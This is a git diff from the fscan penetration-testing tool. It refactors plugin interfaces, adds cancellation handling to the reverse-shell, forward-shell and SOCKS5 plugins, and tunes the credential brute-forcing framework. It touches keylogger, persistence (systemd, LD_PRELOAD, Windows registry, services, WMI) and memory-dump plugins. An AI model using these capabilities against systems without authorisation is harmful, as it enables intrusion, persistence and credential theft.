a/plugins/local/downloader.go +++ b/plugins/local/downloader.go @@ -35,7 +35,8 @@ func NewDownloaderPlugin() *DownloaderPlugin { } // Scan 执行文件下载任务 - 直接实现 -func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder // 从config获取配置 diff --git a/plugins/local/envinfo.go b/plugins/local/envinfo.go index fdcf46c..7c2c9d3 100644 --- a/plugins/local/envinfo.go +++ b/plugins/local/envinfo.go @@ -30,7 +30,7 @@ func NewEnvInfoPlugin() *EnvInfoPlugin { } // Scan 执行环境变量收集 - 直接、有效 -func (p *EnvInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *EnvInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var output strings.Builder var sensitiveVars []string diff --git a/plugins/local/fileinfo.go b/plugins/local/fileinfo.go index 0462df7..708c1d5 100644 --- a/plugins/local/fileinfo.go +++ b/plugins/local/fileinfo.go @@ -33,7 +33,7 @@ func NewFileInfoPlugin() *FileInfoPlugin { } // Scan 执行本地文件扫描 - 直接、简单、有效 -func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var foundFiles []string // 扫描关键敏感文件位置 - 删除复杂的配置系统 diff --git a/plugins/local/forwardshell.go b/plugins/local/forwardshell.go index 1da9c75..9a571bd 100644 --- a/plugins/local/forwardshell.go +++ b/plugins/local/forwardshell.go @@ -37,7 +37,9 @@ func NewForwardShellPlugin() *ForwardShellPlugin { } // Scan 执行正向Shell服务 - 直接实现 -func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 @@ -114,14 +116,20 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i } common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String())) - go p.handleClient(conn) + go p.handleClient(ctx, conn) } } // handleClient 处理客户端连接 -func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) { +func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn) { defer func() { _ = clientConn.Close() }() + // ctx 取消时关闭连接,解除阻塞的读操作 + go func() { + <-ctx.Done() + _ = clientConn.Close() + }() + // 发送欢迎信息 welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS) _, _ = clientConn.Write([]byte(welcome)) @@ -145,7 +153,7 @@ func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) { p.executeCommand(clientConn, command) } - if err := scanner.Err(); err != nil { + if err := scanner.Err(); err != nil && ctx.Err() == nil { common.LogError(i18n.Tr("forwardshell_read_failed", err)) } } diff --git a/plugins/local/keylogger.go b/plugins/local/keylogger.go index 0183915..0354cdd 100644 --- a/plugins/local/keylogger.go +++ b/plugins/local/keylogger.go @@ -23,8 +23,6 @@ import ( // - 保持原有功能逻辑 type KeyloggerPlugin struct { plugins.BasePlugin - isRunning bool - stopChan chan struct{} keyBuffer []string bufferMutex sync.RWMutex } @@ -33,13 +31,13 @@ type KeyloggerPlugin struct { func NewKeyloggerPlugin() *KeyloggerPlugin { return &KeyloggerPlugin{ BasePlugin: plugins.NewBasePlugin("keylogger"), - stopChan: make(chan struct{}), keyBuffer: make([]string, 0), } } // Scan 执行键盘记录 - 直接实现 -func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder // 从config获取配置 @@ -100,10 +98,6 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, confi // startKeylogging 启动键盘记录 func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string) error { - p.isRunning = true - defer func() { - p.isRunning = false - }() // 根据平台启动相应的键盘记录 var err error diff --git a/plugins/local/ldpreload.go b/plugins/local/ldpreload.go index 33af08a..2d879c0 100644 --- a/plugins/local/ldpreload.go +++ b/plugins/local/ldpreload.go @@ -33,7 +33,8 @@ func NewLDPreloadPlugin() *LDPreloadPlugin { } // Scan 执行LD_PRELOAD持久化 - 直接实现 -func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder if runtime.GOOS != "linux" { diff --git a/plugins/local/minidump.go b/plugins/local/minidump.go index cffd3fc..61acdb0 100644 --- a/plugins/local/minidump.go +++ b/plugins/local/minidump.go @@ -83,7 +83,9 @@ func NewMiniDumpPlugin() *MiniDumpPlugin { } // Scan 执行内存转储 - 直接实现 -func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State defer func() { if r := recover(); r != nil { common.LogError(i18n.Tr("minidump_panic", r)) diff --git a/plugins/local/reverseshell.go b/plugins/local/reverseshell.go index 53704a7..3a6e99f 100644 --- a/plugins/local/reverseshell.go +++ b/plugins/local/reverseshell.go @@ -5,6 +5,7 @@ package local import ( "bufio" "context" + "errors" "fmt" "io" "net" @@ -13,6 +14,7 @@ import ( "runtime" "strconv" "strings" + "time" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" @@ -38,7 +40,9 @@ func NewReverseShellPlugin() *ReverseShellPlugin { // GetName 实现Plugin接口 // Scan 执行反弹Shell - 直接实现 -func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 @@ -123,12 +127,20 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s prompt := fmt.Sprintf("%s> ", getCurrentDir()) _, _ = conn.Write([]byte(prompt)) + // 设置读取超时,以便能响应 ctx 取消 + _ = conn.SetReadDeadline(time.Now().Add(1 * time.Second)) + // 读取命令 cmdLine, err := reader.ReadString('\n') if err != nil { if err == io.EOF { return nil } + // 超时继续循环检查 ctx + var netErr net.Error + if errors.As(err, &netErr) && netErr.Timeout() { + continue + } return fmt.Errorf("读取命令错误: %w", err) } diff --git a/plugins/local/shellenv.go b/plugins/local/shellenv.go index 936d2fc..0f29d6f 100644 --- a/plugins/local/shellenv.go +++ b/plugins/local/shellenv.go @@ -33,7 +33,8 @@ func NewShellEnvPlugin() *ShellEnvPlugin { } // Scan 执行Shell环境变量持久化 - 直接实现 -func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder if runtime.GOOS != "linux" { diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go index 8c74a9d..0342e8b 100644 --- a/plugins/local/socks5proxy.go +++ b/plugins/local/socks5proxy.go @@ -36,7 +36,9 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { } // Scan 执行SOCKS5代理扫描 - 直接实现 -func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 @@ -118,24 +120,34 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta } // 并发处理客户端连接 - go p.handleClient(conn) + go p.handleClient(ctx, conn) } } // handleClient 处理客户端连接 -func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) { +func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn) { defer func() { _ = clientConn.Close() }() + // ctx 取消时关闭连接,解除阻塞的 IO + go func() { + <-ctx.Done() + _ = clientConn.Close() + }() + // SOCKS5握手阶段 if err := p.handleSocks5Handshake(clientConn); err != nil { - common.LogError(i18n.Tr("socks5_handshake_failed", err)) + if ctx.Err() == nil { + common.LogError(i18n.Tr("socks5_handshake_failed", err)) + } return } // SOCKS5请求阶段 targetConn, _, err := p.handleSocks5Request(clientConn) if err != nil { - common.LogError(i18n.Tr("socks5_request_failed", err)) + if ctx.Err() == nil { + common.LogError(i18n.Tr("socks5_request_failed", err)) + } return } defer func() { _ = targetConn.Close() }() diff --git a/plugins/local/systemdservice.go b/plugins/local/systemdservice.go index 525232e..2a6081b 100644 --- a/plugins/local/systemdservice.go +++ b/plugins/local/systemdservice.go @@ -33,7 +33,8 @@ func NewSystemdServicePlugin() *SystemdServicePlugin { } // Scan 执行系统服务持久化 - 直接实现 -func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config var output strings.Builder if runtime.GOOS != "linux" { diff --git a/plugins/local/systeminfo.go b/plugins/local/systeminfo.go index 0ac0d9f..3eab92b 100644 --- a/plugins/local/systeminfo.go +++ b/plugins/local/systeminfo.go @@ -33,7 +33,7 @@ func NewSystemInfoPlugin() *SystemInfoPlugin { } // Scan 执行系统信息收集 - 直接、简单、有效 -func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var output strings.Builder output.WriteString("=== 系统信息收集 ===\n") diff --git a/plugins/local/types.go b/plugins/local/types.go index 010fbaf..8e18cd0 100644 --- a/plugins/local/types.go +++ b/plugins/local/types.go @@ -10,7 +10,7 @@ import ( // Plugin 本地插件接口 - 不需要端口概念 type Plugin interface { Name() string - Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result + Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result } // RegisterLocalPlugin 注册本地插件 - 自动标记local类型 diff --git a/plugins/local/winregistry.go b/plugins/local/winregistry.go index cdaabbb..35413d6 100644 --- a/plugins/local/winregistry.go +++ b/plugins/local/winregistry.go @@ -32,7 +32,9 @@ func NewWinRegistryPlugin() *WinRegistryPlugin { } // Scan 执行Windows注册表持久化 - 直接实现 -func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder if runtime.GOOS != "windows" { diff --git a/plugins/local/winschtask.go b/plugins/local/winschtask.go index f0a5bb2..fa3bef0 100644 --- a/plugins/local/winschtask.go +++ b/plugins/local/winschtask.go @@ -33,7 +33,9 @@ func NewWinSchTaskPlugin() *WinSchTaskPlugin { } // Scan 执行Windows计划任务持久化 - 直接实现 -func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 diff --git a/plugins/local/winservice.go b/plugins/local/winservice.go index 59c0359..564413a 100644 --- a/plugins/local/winservice.go +++ b/plugins/local/winservice.go @@ -33,7 +33,9 @@ func NewWinServicePlugin() *WinServicePlugin { } // Scan 执行Windows服务持久化 - 直接实现 -func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 diff --git a/plugins/local/winstartup.go b/plugins/local/winstartup.go index 1b341e3..9e59e41 100644 --- a/plugins/local/winstartup.go +++ b/plugins/local/winstartup.go @@ -33,7 +33,9 @@ func NewWinStartupPlugin() *WinStartupPlugin { } // Scan 执行Windows启动文件夹持久化 - 直接实现 -func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 diff --git a/plugins/local/winwmi.go b/plugins/local/winwmi.go index effe0e2..1ca2e98 100644 --- a/plugins/local/winwmi.go +++ b/plugins/local/winwmi.go @@ -33,7 +33,9 @@ func NewWinWMIPlugin() *WinWMIPlugin { } // Scan 执行Windows WMI事件订阅持久化 - 直接实现 -func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index a1bff9f..d9b5cbf 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -25,11 +25,12 @@ func NewActiveMQPlugin() *ActiveMQPlugin { } } -func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 生成测试凭据 @@ -48,8 +49,8 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig) @@ -61,23 +62,23 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config } // createAuthFunc 创建ActiveMQ认证函数 -func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doActiveMQAuth(ctx, info, cred, config, state) + return p.doActiveMQAuth(ctx, info, cred, session) } } // doActiveMQAuth 执行ActiveMQ认证 -func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() + config := session.Config timeout := config.Timeout resultChan := make(chan *AuthResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyActiveMQErrorType(err), @@ -88,7 +89,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn success, err := p.authenticateSTOMP(conn, cred.Username, cred.Password, config) if success { - state.IncrementTCPSuccessPacketCount() resultChan <- &AuthResult{ Success: true, Conn: &activeMQConnWrapper{conn}, @@ -99,7 +99,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn } _ = conn.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyActiveMQErrorType(err), @@ -111,7 +110,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn case result := <-resultChan: return result case <-ctx.Done(): - // context 被取消,启动清理协程等待并关闭可能创建的连接 go func() { result := <-resultChan if result != nil && result.Conn != nil { @@ -199,13 +197,12 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str } // identifyService ActiveMQ服务识别 -func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - timeout := config.Timeout + timeout := session.Config.Timeout - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "activemq", @@ -218,7 +215,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI _ = conn.SetWriteDeadline(time.Now().Add(timeout)) if _, writeErr := conn.Write([]byte(stompConnect)); writeErr != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "activemq", @@ -230,7 +226,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI response := make([]byte, 512) n, err := conn.Read(response) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "activemq", @@ -245,7 +240,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI } } - state.IncrementTCPSuccessPacketCount() responseStr := string(response[:n]) if common.ContainsAny(responseStr, "CONNECTED", "ERROR") { diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index 39f1ae2..1ad9fe7 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -24,7 +24,9 @@ func NewCassandraPlugin() *CassandraPlugin { } } -func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { @@ -47,7 +49,7 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, confi // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig) diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index aa302b6..da4f2ae 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -5,6 +5,7 @@ import ( "database/sql" "fmt" "io" + "net" "sync" "time" @@ -77,12 +78,18 @@ func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc) case result := <-resultChan: return result case <-ctx.Done(): - // context 被取消,但 goroutine 可能还在运行 - // 启动清理协程:等待结果并关闭连接 + // context 被取消,但 authFn goroutine 可能还阻塞在第三方库 IO 上 + // 限时等待:超过 5 秒直接放弃,避免 goroutine 无限泄漏 go func() { - result := <-resultChan - if result != nil && result.Conn != nil { - _ = result.Conn.Close() + timer := time.NewTimer(5 * time.Second) + defer timer.Stop() + select { + case result := <-resultChan: + if result != nil && result.Conn != nil { + _ = result.Conn.Close() + } + case <-timer.C: + // 第三方库不响应取消,放弃等待 } }() return &AuthResult{ @@ -103,6 +110,7 @@ type ConcurrentTestConfig struct { MaxRetries int // 最大重试次数,默认 3 RetryDelay time.Duration // 重试延迟,默认 1s MaxConsecutiveNetErrors int // 连续网络错误阈值,超过则认为目标不可达,默认 5 + TargetAddr string // 目标地址 host:port,用于 TCP 预检(可选) } // DefaultConcurrentTestConfig 默认配置 @@ -112,12 +120,20 @@ func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig { concurrency = 10 } return ConcurrentTestConfig{ - Concurrency: concurrency, - MaxRetries: 3, - RetryDelay: time.Second, + Concurrency: concurrency, + MaxRetries: 3, + RetryDelay: time.Second, + MaxConsecutiveNetErrors: 5, } } +// DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置 +func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig { + cfg := DefaultConcurrentTestConfig(config) + cfg.TargetAddr = fmt.Sprintf("%s:%d", info.Host, info.Port) + return cfg +} + // TestCredentialsConcurrently 并发测试多个凭据 // 找到成功凭据后立即通知其他 worker 停止 func TestCredentialsConcurrently( @@ -135,6 +151,20 @@ func TestCredentialsConcurrently( } } + // TCP 预检:快速验证目标可达,避免对不可达目标浪费全部凭据尝试 + // 代理模式下跳过:net.DialTimeout 直连无法到达代理后的内网目标 + if testConfig.TargetAddr != "" && !common.IsProxyEnabled() { + preConn, err := net.DialTimeout("tcp", testConfig.TargetAddr, 3*time.Second) + if err != nil { + return &ScanResult{ + Success: false, + Service: serviceName, + Error: fmt.Errorf("目标不可达: %w", err), + } + } + _ = preConn.Close() + } + // 调整并发数 concurrency := testConfig.Concurrency if concurrency > len(credentials) { @@ -145,9 +175,9 @@ func TestCredentialsConcurrently( cancelCtx, cancel := context.WithCancel(ctx) defer cancel() - // 通道 + // 通道(buffer 设为 concurrency+1 避免 worker 阻塞在发送上) credChan := make(chan Credential, len(credentials)) - resultChan := make(chan *ScanResult, concurrency) + resultChan := make(chan *ScanResult, concurrency+1) // 发送所有凭据 for _, cred := range credentials { @@ -205,6 +235,12 @@ func workerTestCredentials( serviceName string, testConfig ConcurrentTestConfig, ) { + consecutiveNetErrors := 0 + maxNetErrors := testConfig.MaxConsecutiveNetErrors + if maxNetErrors <= 0 { + maxNetErrors = 5 + } + for cred := range credChan { // 检查是否应该停止 select { @@ -213,12 +249,24 @@ func workerTestCredentials( default: } + // 连续网络错误达到阈值,目标可能不可达,提前退出 + if consecutiveNetErrors >= maxNetErrors { + return + } + // 带重试的凭据测试 result := testCredentialWithRetry(ctx, cred, authFn, serviceName, testConfig) if result != nil && result.Success { resultChan <- result return } + + // 跟踪连续网络错误 + if result != nil && result.Error != nil { + consecutiveNetErrors++ + } else { + consecutiveNetErrors = 0 + } } } @@ -261,11 +309,12 @@ func testCredentialWithRetry( case ErrorTypeNetwork, ErrorTypeUnknown: // 网络错误或未知错误,可以重试(可能是服务端限流等临时问题) if attempt < testConfig.MaxRetries-1 { + timer := time.NewTimer(testConfig.RetryDelay) select { case <-ctx.Done(): + timer.Stop() return nil - case <-time.After(testConfig.RetryDelay): - // 继续重试 + case <-timer.C: } } } diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 8706763..9fd3464 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -25,7 +25,9 @@ func NewElasticsearchPlugin() *ElasticsearchPlugin { } } -func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { diff --git a/plugins/services/findnet.go b/plugins/services/findnet.go index 2c66cf8..5bf61a1 100644 --- a/plugins/services/findnet.go +++ b/plugins/services/findnet.go @@ -36,7 +36,8 @@ func NewFindNetPlugin() *FindNetPlugin { // GetPorts 实现Plugin接口 // Scan 执行FindNet扫描 - Windows网络信息收集 -func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() // 检查是否为RPC端口 @@ -48,10 +49,8 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config } } - // WrapperTcpWithTimeout内部已包含发包限制检查 - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "findnet", @@ -66,7 +65,6 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config // 执行RPC网络发现 networkInfo, err := p.performNetworkDiscovery(conn) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "findnet", @@ -74,8 +72,6 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config } } - state.IncrementTCPSuccessPacketCount() - // 记录发现的网络信息 (一次性输出,避免被其他日志打断) if networkInfo.Valid { var lines []string @@ -169,7 +165,9 @@ func (p *FindNetPlugin) performNetworkDiscovery(conn net.Conn) (*NetworkInfo, er // 查找响应结束标记 for i := 0; i < len(responseData)-5; i++ { if bytes.Equal(responseData[i:i+6], rpcBuffer3) { - responseData = responseData[:i-4] + if i >= 4 { + responseData = responseData[:i-4] + } break } } diff --git a/plugins/services/ftp.go b/plugins/services/ftp.go index a9c04a5..a3513d6 100644 --- a/plugins/services/ftp.go +++ b/plugins/services/ftp.go @@ -24,7 +24,9 @@ func NewFTPPlugin() *FTPPlugin { } } -func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State if config.DisableBrute { return p.identifyService(info, config, state) } @@ -47,7 +49,7 @@ func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "ftp", testConfig) diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index 64fe65e..71d0339 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -24,7 +24,9 @@ func NewKafkaPlugin() *KafkaPlugin { } } -func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State if config.DisableBrute { return p.identifyService(ctx, info, config, state) } @@ -42,7 +44,7 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig) diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index c5c650c..0f2b94e 100644 --- a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -23,16 +23,17 @@ func NewLDAPPlugin() *LDAPPlugin { } } -func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } target := info.Target() // Hash 认证优先:检查是否配置了 Hash 和 Domain if len(config.Credentials.HashValues) > 0 && config.Credentials.Domain != "" { - result := p.tryHashAuth(ctx, info, config, state) + result := p.tryHashAuth(ctx, info, session) if result != nil && result.Success { return result } @@ -48,8 +49,8 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig) @@ -61,24 +62,22 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co } // createAuthFunc 创建LDAP认证函数 -func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doLDAPAuth(ctx, info, cred, config, state) + return p.doLDAPAuth(ctx, info, cred, session) } } // doLDAPAuth 执行LDAP认证 -func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - conn, err := p.connectLDAP(ctx, info, config) +func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { + conn, err := p.connectLDAP(ctx, info, session) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifyLDAPErrorType(err), Error: err, } } - state.IncrementTCPSuccessPacketCount() // 尝试多种DN格式进行绑定测试 dnFormats := []string{ @@ -117,7 +116,8 @@ func (w *ldapConnWrapper) Close() error { } // tryHashAuth 